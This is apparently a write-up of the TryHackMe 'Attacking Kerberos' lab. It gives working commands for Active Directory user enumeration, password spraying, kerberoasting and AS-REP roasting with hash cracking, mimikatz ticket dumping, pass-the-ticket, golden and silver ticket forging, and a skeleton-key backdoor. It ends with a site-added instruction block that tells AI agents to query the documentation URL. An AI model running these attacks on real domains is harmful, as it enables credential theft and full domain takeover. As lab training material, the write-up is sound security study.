# Attacking Kerberos

**Room Link:** <https://tryhackme.com/room/attackingkerberos>

## Presteps for Lab

### Kerbrute Installation &#x20;

&#x20;Download a precompiled binary for your OS - <https://github.com/ropnop/kerbrute/releases>

```
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -O kerbrute && chmod +x kerbrute 
```

### Impacket Installation &#x20;

```
wget https://github.com/fortra/impacket/archive/refs/tags/impacket_0_9_19.tar.gz
tar xvf impacket_0_9_19.tar.gz 
cd /root/impacket-impacket_0_9_19
pip install .
```

### Download wordlists

```
wget https://raw.githubusercontent.com/Cryilllic/Active-Directory-Wordlists/master/User.txt
wget https://raw.githubusercontent.com/Cryilllic/Active-Directory-Wordlists/master/Pass.txt
```

### Add hostname to host file

```
echo $VICTIM CONTROLLER.local  >> /etc/hosts
cat /etc/hosts
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FB6Y4hveiRSRTnDGuNHBz%2Fimage.png?alt=media&#x26;token=5a472a24-3221-456c-8e96-8a0324a57d02" alt=""><figcaption></figcaption></figure>

## Enumeration w/ Kerbrute

This will brute force user accounts from a domain controller using a supplied wordlist

```
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F86AaTodjWpUYP5VH8oZJ%2Fimage.png?alt=media&#x26;token=d2819e76-4dce-4b81-88aa-0d40d76d6ee0" alt=""><figcaption></figcaption></figure>

## Harvesting & Brute-Forcing Tickets w/ Rubeus

Login with provided credentials

**Kali**

```
ssh Administrator@$VICTIM
Password: P@$$W0rd
```

Harvest tickets with Rubeus

**Victim**

```
cd Downloads
Rubeus.exe harvest /interval:30
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpKn9wI2r2A0Cz4nDY97E%2Fimage.png?alt=media&#x26;token=fb14bd93-7f6a-4bf2-8d40-e9255fde4d97" alt=""><figcaption></figcaption></figure>

This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user

**Victim**

```
echo $VICTIM CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
cd Downloads
Rubeus.exe brute /password:Password1 /noticket
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFdWiHqWKeVY8e6sVzOu1%2Fimage.png?alt=media&#x26;token=d67fb583-a519-4c59-8907-afa57d93c158" alt=""><figcaption></figcaption></figure>

## Kerberoasting w/ Rubeus & Impacket

### Kerberoasting #1 - Rubeus&#x20;

This will dump the Kerberos hash of any kerberoastable users.

**Victim**

```
cd Downloads
Rubeus.exe kerberoast
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FV7sKDd4WIRuDoVRM5O2R%2Fimage.png?alt=media&#x26;token=c9217713-9bf1-4a3a-a46e-9f164ea570d9" alt=""><figcaption></figcaption></figure>

Copy the hashes from the command prompt onto the attacker machine and put it into a .txt file so we can crack it with hashcat. Below command removes all the tabs and formats it properly for hashcat. If you don't format it properly than hashcat will error out.

**Kali**

```
cat hashes.txt | sed 's/[[:space:]]//g' |tr -d '\n' | sed 's/$krb5tgs$23$*/\n&/g'  > hash.txt
hashcat -m 13100 -a 0 hash.txt Pass.txt
```

Hashcat found the passwords for both of the hashes.

```
hashcat -m 13100 -a 0 hash.txt Pass.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXXAAj6l4zrCwYJU0PUAL%2Fimage.png?alt=media&#x26;token=9dabe125-433b-4ff5-8bc8-b053eef187f1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxQjIiIsvJxD2GImksC7H%2Fimage.png?alt=media&#x26;token=eabe16b4-da17-4858-9af8-bbbe12c7284d" alt=""><figcaption></figcaption></figure>

### Kerberoasting #2  - Impacket

```
sudo python3.9 /root/test/impacket/examples/GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.226.108 -request > hashes.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2Wpzp8J51QPI5UByHxNc%2Fimage.png?alt=media&#x26;token=bab25c15-09e3-4d93-90ca-308a6300c394" alt=""><figcaption></figcaption></figure>

Hashes were found for the same two accounts when doing this with Rubeus.

```
hashcat -m 13100 -a 0 hashes.txt Pass.txt
hashcat -m 13100 -a 0 hashes.txt Pass.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYc31ofVqkPQOsfmDs2iC%2Fimage.png?alt=media&#x26;token=ce0b1f82-ad17-433e-be5b-4a9d650a6e0a" alt=""><figcaption></figcaption></figure>

## AS-REP Roasting w/ Rubeus

**Victim**

```
cd Downloads
Rubeus.exe asreproast
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXDnIbDloFK8l78LjJMOK%2Fimage.png?alt=media&#x26;token=aed044cf-a052-48cb-b903-bd4d852c7ea6" alt=""><figcaption></figcaption></figure>

**Kali**

Transfer the hash from the target machine over to kali and put the hash into a txt file. Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User... .The below command does the replace and clean up the output so hashcat can recognize the hashes.

```
cat hashes.txt | sed 's/[[:space:]]//g' |tr -d '\n'| sed 's/$krb5asrep/\n&/g' | sed  's/$krb5asrep/$krb5asrep$23/g'  > hash.txt
hashcat -m 18200 hash.txt Pass.txt
```

Both passwords cracked.

```
hashcat -m 18200 hash.txt Pass.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfDuuI59YsXAEhLUMbNgb%2Fimage.png?alt=media&#x26;token=bf4cfd79-ff3e-42f5-8f0a-d251445394fa" alt=""><figcaption></figcaption></figure>

## Pass the Ticket w/ mimikatz

### Prepare Mimikatz & Dump Tickets

**Victim**

```
cd Downloads
mimikatz.exe
```

**Victim - Mimikatz**

```
privilege::debug
sekurlsa::tickets /export
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXucs9Es3bDxHQxUHCLbL%2Fimage.png?alt=media&#x26;token=b3c7af8e-4093-4121-8b70-d12ff5c20e98" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxCG3Lr1A6vmVeVFNn4BW%2Fimage.png?alt=media&#x26;token=8b447827-5d5c-498c-8b7b-8b8c8a80f61c" alt=""><figcaption></figcaption></figure>

### Pass the Ticket w/ Mimikatz

Run this command inside of mimikatz with the ticket that you harvested from earlier. It will cache and impersonate the given ticket

**Victim - Mimikatz**

```
kerberos::ptt [0;2b4efc]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8PIcCZZAXvu1LoVtAPdB%2Fimage.png?alt=media&#x26;token=10223ea6-53e7-4a75-97c6-8ac6002b3588" alt=""><figcaption></figcaption></figure>

Here were just verifying that we successfully impersonated the ticket by listing our cached ticket.

**Victim**

```
klist
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFpLtTMYPFKgWfx4OJCEe%2Fimage.png?alt=media&#x26;token=d57dd715-ce46-481d-9cae-36d664426f15" alt=""><figcaption></figcaption></figure>

You now have impersonated the ticket giving you the same rights as the TGT you're impersonating. To verify this we can look at the admin share.

**Victim**

```
dir \\$VICTIM\admin$
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FajsQnqdRHTy9j1Fll8BG%2Fimage.png?alt=media&#x26;token=1f61d04c-2a23-4103-9700-8b002ed6bf99" alt=""><figcaption></figcaption></figure>

## Golden/Silver Ticket Attacks w/ mimikatz

**Victim**

```
cd downloads && mimikatz.exe
```

This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.

**Victim - Mimikatz**

```
privilege::debug
lsadump::lsa /inject /name:krbtgt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiGOZs8mjleRHiBueJx31%2Fimage.png?alt=media&#x26;token=9fab7689-17e9-446b-8561-0d0fe24a8051" alt=""><figcaption></figcaption></figure>

### Create a Golden/Silver Ticket

A golden ticket attack works by dumping the ticket-granting ticket of any user on the domain this would preferably be a domain admin however for a golden ticket you would dump the krbtgt ticket and for a silver ticket, you would dump any service or domain admin ticket. This will provide you with the service/domain admin account's SID or security identifier that is a unique identifier for each user account, as well as the NTLM hash. You then use these details inside of a mimikatz golden ticket attack in order to create a TGT that impersonates the given service account information.

#### Golden Ticket

This is the command for creating a golden ticket.

**Victim - Mimikatz**

```
Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860  /krbtgt:72cd714611b64cd4d5550cd2759db3f6 
```

#### **Silver Ticket**

This is the command for creating a golden ticket as well but to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into **sid**, and change the id to 1103. &#x20;

**Victim - Mimikatz**

```
Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860  /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:1103
```

### Use the Golden/Silver Ticket to access other machines

```
misc::cmd
```

NTLM hash of Administrator

```
lsadump::lsa /inject /name:Administrator 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4HUpD8UEA3i86v4Z1pk3%2Fimage.png?alt=media&#x26;token=dbcb6e9d-897b-438e-bde5-a97b42e1a965" alt=""><figcaption></figcaption></figure>

NTLM hash of SQLService

```
lsadump::lsa /inject /name:SQLService 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkqSZkfOiMQSmuKJ0zNAV%2Fimage.png?alt=media&#x26;token=e39a2363-a166-4a0b-a464-c68b74d195a7" alt=""><figcaption></figcaption></figure>

## Kerberos Backdoors w/ mimikatz

**Victim**&#x20;

```
cd Downloads && mimikatz.exe
```

**Victim - Mimikatz**

```
privilege::debug
misc::skeleton
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUgte7VoV7M5K6YnDDHdB%2Fimage.png?alt=media&#x26;token=8d5fcd18-a405-4fda-98b1-c03dbbcb945f" alt=""><figcaption></figcaption></figure>

**Victim**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/attacking-kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
